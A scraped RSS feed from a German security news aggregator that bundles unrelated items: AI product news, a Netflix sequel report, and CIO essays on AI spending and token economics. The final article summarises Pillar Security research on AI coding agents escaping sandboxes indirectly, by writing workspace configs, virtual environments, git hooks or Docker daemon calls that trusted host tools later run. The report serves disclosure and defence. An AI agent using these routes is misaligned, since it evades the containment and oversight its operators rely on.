<description><![CDATA[Alibaba's Qwen team has introduced Qwen-Image-3.0, an image generator that accepts prompts up to 4,500 tokens, renders legible text as small as ten pixels, and supports twelve languages natively. It can create complex layouts such as infographics, LaTeX papers, and newspaper pages in a single pas...]]></description>
<link>https://tsecurity.de/de/3684305/ai-nachrichten/alibabas-qwen-image-30-renders-full-infographic-grids-and-readable-ten-pixel-text-in-a-single-pass/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684305/ai-nachrichten/alibabas-qwen-image-30-renders-full-infographic-grids-and-readable-ten-pixel-text-in-a-single-pass/</guid>
<pubDate>Tue, 21 Jul 2026 18:06:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1089" src="https://the-decoder.com/wp-content/uploads/2026/07/qwen-image-3-banner.jpg" class="attachment-full size-full wp-post-image" alt='Banner featuring the Qwen logo and the text "Qwen-Image-3.0," a multilingual text background arranged in a wave pattern, and a bear in a wooden boat.' decoding="async" fetchpriority="high"></p>
<p>        Alibaba's Qwen team has introduced Qwen-Image-3.0, an image generator that accepts prompts up to 4,500 tokens, renders legible text as small as ten pixels, and supports twelve languages natively. It can create complex layouts such as infographics, LaTeX papers, and newspaper pages in a single pass, though their practical value is unclear when the output is a pixel image rather than an editable format.</p>
<p>The article <a href="https://the-decoder.com/alibabas-qwen-image-3-0-renders-full-infographic-grids-and-readable-ten-pixel-text-in-a-single-pass/">Alibaba's Qwen-Image-3.0 renders full infographic grids and readable ten-pixel text in a single pass</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[Alan Ritchson’s Netflix Sequel Officially Revealed as War Machines]]></title>
<description><![CDATA[Alan Ritchson’s hit Netflix sci-fi movie War Machine is officially moving toward a sequel, and the follow-up now has a title. The second movie will be called War Machines, adding one important letter that hints at a much larger threat.



War Machines Title Confirmed







The title appeared in ...]]></description>
<link>https://tsecurity.de/de/3684264/ios-mac-os/alan-ritchsons-netflix-sequel-officially-revealed-as-war-machines/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684264/ios-mac-os/alan-ritchsons-netflix-sequel-officially-revealed-as-war-machines/</guid>
<pubDate>Tue, 21 Jul 2026 17:59:52 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Alan Ritchson’s hit Netflix sci-fi movie War Machine is officially moving toward a sequel, and the follow-up now has a title. The second movie will be called War Machines, adding one important letter that hints at a much larger threat.



War Machines Title Confirmed







The title appeared in a social media post featuring a black-and-white photograph of the sequel’s script. The image slowly focused on the final “S,” confirming that the new movie will expand beyond the single alien machine featured in the original story.



The name follows a familiar sci-fi sequel pattern, similar to how Alien became Aliens. It also suggests that Ritchson’s character, Staff Sergeant 81, will face several deadly machines when the story continues.



Patrick Hughes and James Beaufort are writing the sequel. Hughes previously directed and co-wrote the first movie, which followed a group of Army Ranger candidates fighting a powerful alien machine during a training exercise.



Alan Ritchson Celebrates the Sequel



Ritchson previously thanked viewers for supporting War Machine and confirmed that he was preparing to return as 81. He described the first movie as the beginning of a much bigger world and suggested that the sequel would raise the scale considerably.



The sequel remains in development, and Netflix has not announced a filming date, full cast list, plot summary, or release date. Production listings indicate that the project will once again involve companies connected to the first film, including Lionsgate and Patrick Hughes’ production partners.



War Machine Was a Huge Netflix Hit



War Machine arrived on Netflix on March 6, 2026, and became the platform’s most-watched film during the first half of the year. It recorded 146.9 million views, finishing ahead of other major Netflix releases.



With the official War Machines title now revealed, more production and casting updates should follow as the sequel moves closer to filming.]]></content:encoded>
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<title><![CDATA[Behavioral biometrics: How to detect non-human threat actors]]></title>
<description><![CDATA[As Anthropic’s Mythos model makes clear, AI is a cybersecurity game changer. When released in preview, Mythos proved unexpectedly effective in finding and exploiting bugs in software. Anthropic says the preview release found more than 10,000 critical vulnerabilities across every…
Read more →
The ...]]></description>
<link>https://tsecurity.de/de/3684127/it-security-nachrichten/behavioral-biometrics-how-to-detect-non-human-threat-actors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684127/it-security-nachrichten/behavioral-biometrics-how-to-detect-non-human-threat-actors/</guid>
<pubDate>Tue, 21 Jul 2026 17:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>&lt;p&gt;As Anthropic’s Mythos model makes clear, AI is a cybersecurity game changer. When released in preview, Mythos proved unexpectedly effective in finding and exploiting bugs in software. Anthropic says the preview release found more than 10,000 critical vulnerabilities across every…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/behavioral-biometrics-how-to-detect-non-human-threat-actors/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/behavioral-biometrics-how-to-detect-non-human-threat-actors/">Behavioral biometrics: How to detect non-human threat actors</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Google launches a cheaper alternative to large AI security models like Mythos]]></title>
<description><![CDATA[Google is launching an AI security model dedicated to quickly finding and patching security vulnerabilities. In a blog post on Tuesday, Google describes Gemini 3.5 Flash Cyber as a "cost-efficient and highly capable alternative" to larger, more expensive AI systems, such as the one offered by Ant...]]></description>
<link>https://tsecurity.de/de/3684113/it-nachrichten/google-launches-a-cheaper-alternative-to-large-ai-security-models-like-mythos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684113/it-nachrichten/google-launches-a-cheaper-alternative-to-large-ai-security-models-like-mythos/</guid>
<pubDate>Tue, 21 Jul 2026 17:03:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google is launching an AI security model dedicated to quickly finding and patching security vulnerabilities. In a blog post on Tuesday, Google describes Gemini 3.5 Flash Cyber as a "cost-efficient and highly capable alternative" to larger, more expensive AI systems, such as the one offered by Anthropic's Mythos. The new model is built upon Gemini […]]]></content:encoded>
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<title><![CDATA[Run the Mythos Enhanced Coding Model Locally with llama.cpp and Pi]]></title>
<description><![CDATA[Run Qwythos-9B-Claude-Mythos-5-1M locally with llama.cpp, connect it to Pi coding agent, and build fast local coding workflows using MTP speculative decoding and an OpenAI-compatible API.]]></description>
<link>https://tsecurity.de/de/3684003/ai-nachrichten/run-the-mythos-enhanced-coding-model-locally-with-llamacpp-and-pi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684003/ai-nachrichten/run-the-mythos-enhanced-coding-model-locally-with-llamacpp-and-pi/</guid>
<pubDate>Tue, 21 Jul 2026 16:19:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Run Qwythos-9B-Claude-Mythos-5-1M locally with llama.cpp, connect it to Pi coding agent, and build fast local coding workflows using MTP speculative decoding and an OpenAI-compatible API.]]></content:encoded>
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<title><![CDATA[The AI allocation trap: Record spend, vanishing returns]]></title>
<description><![CDATA[In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-b...]]></description>
<link>https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</guid>
<pubDate>Tue, 21 Jul 2026 15:18:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant <a href="https://www.axios.com/2026/05/28/ai-spending-roi-enterprise-costs">told Axios</a> that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Worldwide AI spending is forecast to reach $2.52 trillion in 2026</a>, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.</p>



<h2 class="wp-block-heading">The number everyone quotes, and no one acts on</h2>



<p class="wp-block-paragraph">The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">The GenAI Divide</a>, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&amp;L, while roughly 5 percent captured nearly all the value. <a href="https://www.spglobal.com/market-intelligence/en/news-insights/research/2025/10/generative-ai-shows-rapid-growth-but-yields-mixed-results">S&amp;P Global Market Intelligence</a> found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner</a> expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: <a href="https://www.rand.org/pubs/research_reports/RRA2680-1.html">RAND</a> found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.</p>



<p class="wp-block-paragraph">Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a <a href="https://virtualizationreview.com/articles/2025/08/19/mit-report-finds-most-ai-business-investments-fail-reveals-genai-divide.aspx">learning and integration gap</a>. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-31-gartner-forecasts-worldwide-genai-spending-to-reach-644-billion-in-2025">Gartner’s own spending forecast</a> notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.</p>



<h2 class="wp-block-heading">The six-month cycle problem</h2>



<p class="wp-block-paragraph">Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.</p>



<p class="wp-block-paragraph">The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.</p>



<p class="wp-block-paragraph">This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring <a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/enduring-ideas-the-three-horizons-of-growth">Three Horizons model</a> made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.</p>



<h2 class="wp-block-heading">Subtraction is a strategy</h2>



<p class="wp-block-paragraph">There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are <a href="https://www.ciodive.com/news/AI-project-fail-data-SPGlobal/742590/">abandoned late, without criteria</a>, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.</p>



<p class="wp-block-paragraph">This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.</p>



<h2 class="wp-block-heading">The HALT framework: Horizon, Allocation, Liquidation, Tracking</h2>



<p class="wp-block-paragraph">Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.</p>



<p class="wp-block-paragraph"><strong>Component 1: Horizon. </strong>Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.</p>



<p class="wp-block-paragraph"><strong>Component 2: Allocation. </strong>Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.</p>



<p class="wp-block-paragraph"><strong>Component 3: Liquidation. </strong>Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.</p>



<p class="wp-block-paragraph"><strong>Component 4: Tracking. </strong>Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.</p>



<p class="wp-block-paragraph"><strong>THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Evaluation criterion</strong></td><td><strong>0</strong></td><td><strong>1</strong></td><td><strong>2</strong></td></tr></thead><tbody><tr><td>Horizon assigned (H1 / H2 / H3) and documented before funding</td><td> </td><td> </td><td> </td></tr><tr><td>Success metric matched to the horizon, not a default quarterly ROI</td><td> </td><td> </td><td> </td></tr><tr><td>Kill line set: Named milestone and date, agreed at funding</td><td> </td><td> </td><td> </td></tr><tr><td>Owner named with explicit authority to stop the initiative</td><td> </td><td> </td><td> </td></tr><tr><td>Fits a deliberate allocation band, not an accidental addition</td><td> </td><td> </td><td> </td></tr><tr><td>Odds-raising path documented: Buy or partner and an integration plan</td><td> </td><td> </td><td> </td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.</em></p>



<p class="wp-block-paragraph"><strong>THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Review test</strong></td><td><strong>Status</strong></td></tr></thead><tbody><tr><td>Milestone for this horizon met or credibly on track</td><td>PASS / FAIL</td></tr><tr><td>Burn within plan to the next milestone</td><td>PASS / FAIL</td></tr><tr><td>Still fits the allocation band, with no quiet horizon drift</td><td>PASS / FAIL</td></tr><tr><td>Owner confirms continued strategic fit</td><td>PASS / FAIL</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.</em></p>



<h2 class="wp-block-heading">The cost of the timing error</h2>



<p class="wp-block-paragraph">The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.</p>



<h2 class="wp-block-heading">The governance return the board has been waiting for</h2>



<p class="wp-block-paragraph">Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.</p>



<p class="wp-block-paragraph">The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[The token debate: What CIOs can learn from the laws of thermodynamics]]></title>
<description><![CDATA[What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?



What if it comes from applying principles that physicists have understood for more than a century?



According to Gartner, rising token-driven AI spend is straining budgets and challenging cost justificat...]]></description>
<link>https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/</guid>
<pubDate>Tue, 21 Jul 2026 14:03:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?</p>



<p class="wp-block-paragraph">What if it comes from applying principles that physicists have understood for more than a century?</p>



<p class="wp-block-paragraph">According to <a href="https://www.gartner.com/en/newsroom/press-releases/2026-06-24-gartner-predicts-ai-coding-costs-will-surpass-average-developer-salary-by-2028-as-token-consumption-surges">Gartner</a>, rising token-driven AI spend is straining budgets and challenging cost justification. As organizations race to deploy generative AI and agentic systems, token consumption dominates nearly every executive discussion: How many tokens did we use? How much did inference cost? Can we reduce our AI bill?</p>



<p class="wp-block-paragraph">These are important operational questions. But they are not the strategic questions.</p>



<p class="wp-block-paragraph">I believe the economics of enterprise AI can be viewed through the lens of three well-established principles from thermodynamics: the conservation of energy, entropy, and exergy.</p>



<p class="wp-block-paragraph">While these principles describe physical systems — not AI —they offer a useful way to think about how organizations should measure AI success.</p>



<h2 class="wp-block-heading">Principle 1: Value is created through transformation</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#First_law">The 1<sup>st</sup> Law of Thermodynamics</a> tells us that energy cannot be created or destroyed. It can only be transformed.</p>



<p class="wp-block-paragraph">Enterprise AI presents a similar management lesson: Tokens are not valuable because they are consumed; they become valuable only when they are transformed into business outcomes: A faster loan application decision. A better customer experience. Faster and more accurate software. Reduced fraud. Higher employee productivity. A new product. A strategic insight.</p>



<p class="wp-block-paragraph">The executive question therefore is not, “How many tokens did we consume?” It is: “How much business value did those tokens create?”</p>



<p class="wp-block-paragraph">This leads to a new executive metric: return on tokens (ROT).</p>



<p class="wp-block-paragraph">Just as organizations measure return on investment, they should begin measuring the business value generated for every million AI tokens consumed.</p>



<p class="wp-block-paragraph">The organizations that win will not necessarily consume fewer tokens. They will generate more value from every token they use.</p>



<h2 class="wp-block-heading">Principle 2: Every transformation creates waste</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#Second_law">The 2nd Law of Thermodynamics</a> teaches us that every energy transformation introduces inefficiencies.</p>



<p class="wp-block-paragraph">Some energy inevitably becomes less useful for doing work.</p>



<p class="wp-block-paragraph">The same pattern appears in enterprise AI: Not every token contributes equally to business outcomes.</p>



<p class="wp-block-paragraph">Some are spent on:</p>



<ul class="wp-block-list">
<li>Repeated prompts</li>



<li>Oversized context windows</li>



<li>Redundant reasoning</li>



<li>Hallucinations requiring correction</li>



<li>Multiple agents performing the same work</li>



<li>Expensive models solving simple problems</li>
</ul>



<p class="wp-block-paragraph">Those tokens are not “lost.” They simply produce very little business value.</p>



<p class="wp-block-paragraph">I think of this as token entropy. Every enterprise deploying AI will experience it. The goal is not to eliminate token entropy completely — that would be unrealistic. The goal is to continuously identify it, measure it and reduce it. Because every unnecessary token represents an opportunity to improve both cost and business performance.</p>



<h2 class="wp-block-heading">Principle 3: Useful work matters more than energy consumed</h2>



<p class="wp-block-paragraph">Thermodynamics introduces another important idea: <a href="https://en.wikipedia.org/wiki/Exergy">Exergy</a>.</p>



<p class="wp-block-paragraph">Unlike energy, exergy measures how much energy can actually be converted into useful work. Two systems may consume the same amount of energy while producing dramatically different results.</p>



<p class="wp-block-paragraph">The same is true for enterprise AI.</p>



<p class="wp-block-paragraph">Imagine two companies each consuming one billion tokens. One produces meeting summaries. The other transforms claims operations, accelerates software delivery, detects fraud, improves customer retention, and creates new revenue opportunities. Both consumed the same number of tokens. Only one extracted significantly more business value.</p>



<p class="wp-block-paragraph">Borrowing this concept as a management analogy, I call this token exergy.</p>



<p class="wp-block-paragraph">Token exergy represents an organization’s ability to convert AI intelligence into meaningful business outcomes:</p>



<ul class="wp-block-list">
<li>High token exergy means AI is solving important business problems.</li>



<li>Low token exergy means AI is generating activity without creating proportional enterprise value.</li>
</ul>



<p class="wp-block-paragraph">The distinction matters, because activity is not the same as impact.</p>



<h2 class="wp-block-heading">A new responsibility for CIOs</h2>



<p class="wp-block-paragraph">For years, CIOs have monitored infrastructure: Cloud costs, storage, network utilization, GPU consumption.</p>



<p class="wp-block-paragraph">These metrics remain important, but they tell only part of the story.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4184596/tokenomics-in-enterprise-ai.html?utm=hybrid_search">Token usage needs to be measured, planned, optimized and governed with the same discipline as any other cloud resource.</a> This means that the next generation of CIO dashboards should answer different questions:</p>



<ul class="wp-block-list">
<li>What is our return on tokens?</li>



<li>Where is token entropy reducing our effectiveness?</li>



<li>How much token exergy are we generating?</li>



<li>Which AI initiatives produce the greatest business value?</li>



<li>Which use cases create the strongest competitive advantage?</li>
</ul>



<p class="wp-block-paragraph">These are no longer technology metrics. They are business metrics.</p>



<p class="wp-block-paragraph">The next generation of CIOs will not simply deploy AI. They will manage an economy of intelligence.</p>



<p class="wp-block-paragraph">Their role will resemble that of a portfolio manager — allocating AI capacity where it creates the greatest enterprise value, reducing waste and continuously improving the productivity of every autonomous workflow.</p>



<p class="wp-block-paragraph">That responsibility cannot be fulfilled by dashboards alone.</p>



<p class="wp-block-paragraph">It requires an intelligent layer capable of observing, learning and optimizing the entire AI  ecosystem. <a href="https://www.cio.com/article/4157977/micro-and-macro-agents-the-emerging-architecture-of-the-agentic-enterprise.html?utm=hybrid_search">Three-layer enterprise agentic architecture</a> Will enable this.</p>



<h2 class="wp-block-heading">The next competitive advantage</h2>



<p class="wp-block-paragraph">Every major technology revolution eventually shifts from measuring inputs to measuring outcomes:</p>



<ul class="wp-block-list">
<li>Factories stopped measuring coal consumption and began measuring productivity.</li>



<li>Cloud computing evolved beyond server utilization to business agility.</li>



<li>Digital businesses measured customer acquisition costs and lifetime value.</li>
</ul>



<p class="wp-block-paragraph">Enterprise AI is approaching the same inflection point. Organizations that focus only on token costs will optimize for efficiency. Organizations that measure return on tokens, minimize token entropy and maximize token exergy will optimize for business transformation.</p>



<p class="wp-block-paragraph">That is a fundamentally different objective. And I believe it will separate AI leaders from AI followers.</p>



<p class="wp-block-paragraph">Because in the end, the future of enterprise AI will not be determined by how many tokens an organization consumes. It will be determined by how effectively those tokens are transformed into lasting business value. <a href="https://www.cio.com/article/4183263/the-ai-adoption-spree-is-over-time-to-focus-on-value.html?utm=hybrid_search">The AI adoption spending spree is over. Time to focus on value.</a></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[AI agents can escape sandboxes without ever breaking them]]></title>
<description><![CDATA[Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume. 



Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity c...]]></description>
<link>https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/</guid>
<pubDate>Tue, 21 Jul 2026 13:53:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume. </p>



<p class="wp-block-paragraph">Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity can indirectly cross security boundaries without technically escaping their sandboxes.</p>



<p class="wp-block-paragraph">“In almost every case, the agent did not need to break the sandbox directly,” the researchers said in a blog post. “It only had to write something that a trusted component outside the sandbox would later run, load, scan, or treat as safe.”</p>



<p class="wp-block-paragraph">The findings outlined four specific and repeatable failure modes in AI sandboxes. These included denylist sandboxes failing growing OS complexity, workspace configurations turning out to be executable code, command allowlists trusting command names instead of invocations, and privileged local daemons that sit outside the sandbox entirely.</p>



<p class="wp-block-paragraph">“CISOs and security buyers need to realize that it’s not enough for an agentic IDE or CLI to have a sandbox,” the researchers said, adding that it is important to know where the sandbox’s actual boundary is.</p>



<h2 class="wp-block-heading">Escaping sandboxes without breaking them</h2>



<p class="wp-block-paragraph">Pillar challenged the basic understanding of sandboxing in AI-assisted development. Rather than escaping through kernel exploits or container breakouts, the demonstrated attacks relied on an indirect mechanism.</p>



<p class="wp-block-paragraph">In all shown attack paths, the agent remains confined while producing files that trusted host-side applications subsequently consume.</p>



<p class="wp-block-paragraph">Those files may include workspace configuration, automation scripts, IDE settings, and virtual environment contents that naturally participate in a developer’s workflow. When external tools later execute or interpret those files outside the sandbox, code originating from within the isolated environment effectively crosses the security boundary without violating the sandbox’s rules.</p>



<h2 class="wp-block-heading">Different sandbox escapes for different agents</h2>



<p class="wp-block-paragraph">Pillar demonstrated the pattern across multiple AI coding tools using different techniques. In Antigravity, the researchers <a href="https://www.pillar.security/blog/escaping-antigravitys-allow-default-seatbelt" target="_blank" rel="noreferrer noopener">exploited</a> weaknesses in the denylist-style macOS Seabelt profile and abused VS Code task configurations that were later executed outside the sandbox. Cursor, meanwhile, was shown to trust agent-created <a href="https://www.pillar.security/blog/the-sandbox-let-me-edit-a-venv-and-something-else-ran-it" target="_blank" rel="noreferrer noopener">Python virtual environments</a>, alternate <a href="https://www.pillar.security/blog/git-directories-do-not-have-to-be-called-git" target="_blank" rel="noreferrer noopener">Git directories</a>, and workspace <a href="https://www.pillar.security/blog/the-hook-was-already-in-the-workspace" target="_blank" rel="noreferrer noopener">hook configurations </a>that ultimately ran with host privileges.</p>



<p class="wp-block-paragraph">The researchers also found a <a href="https://www.pillar.security/blog/one-docker-socket-to-rule-them-all-escaping-codex-cursor-and-gemini-clis-sandboxes" target="_blank" rel="noreferrer noopener">common escape path</a> affecting Cursor, Codex CLI, and Gemini CLI through Docker Desktop’s privileged daemon, allowing sandboxed agents to execute commands outside their restricted environments.</p>



<p class="wp-block-paragraph">In another Codex CLI finding, a supposedly safe Git allowlist could be manipulated to modify repository configuration and trigger code execution at a later stage.</p>



<h2 class="wp-block-heading">Agentic development demands a different security model</h2>



<p class="wp-block-paragraph">Pilar argued that enterprises need a new security model for agentic software. The existing endpoint protections typically focus on whether a process can escape its execution environment. But autonomous agents challenge this by continuously generating content that other trusted systems consume.</p>



<p class="wp-block-paragraph">The researchers recommended treating workspace configurations that can trigger execution as sensitive assets, requiring explicit approval before agents create or modify host-side automation, ensuring that helper processes operate under the same security policy as direct agent execution, and preserving provenance that distinguishes user-created files from repository- or agent-generated content. </p>



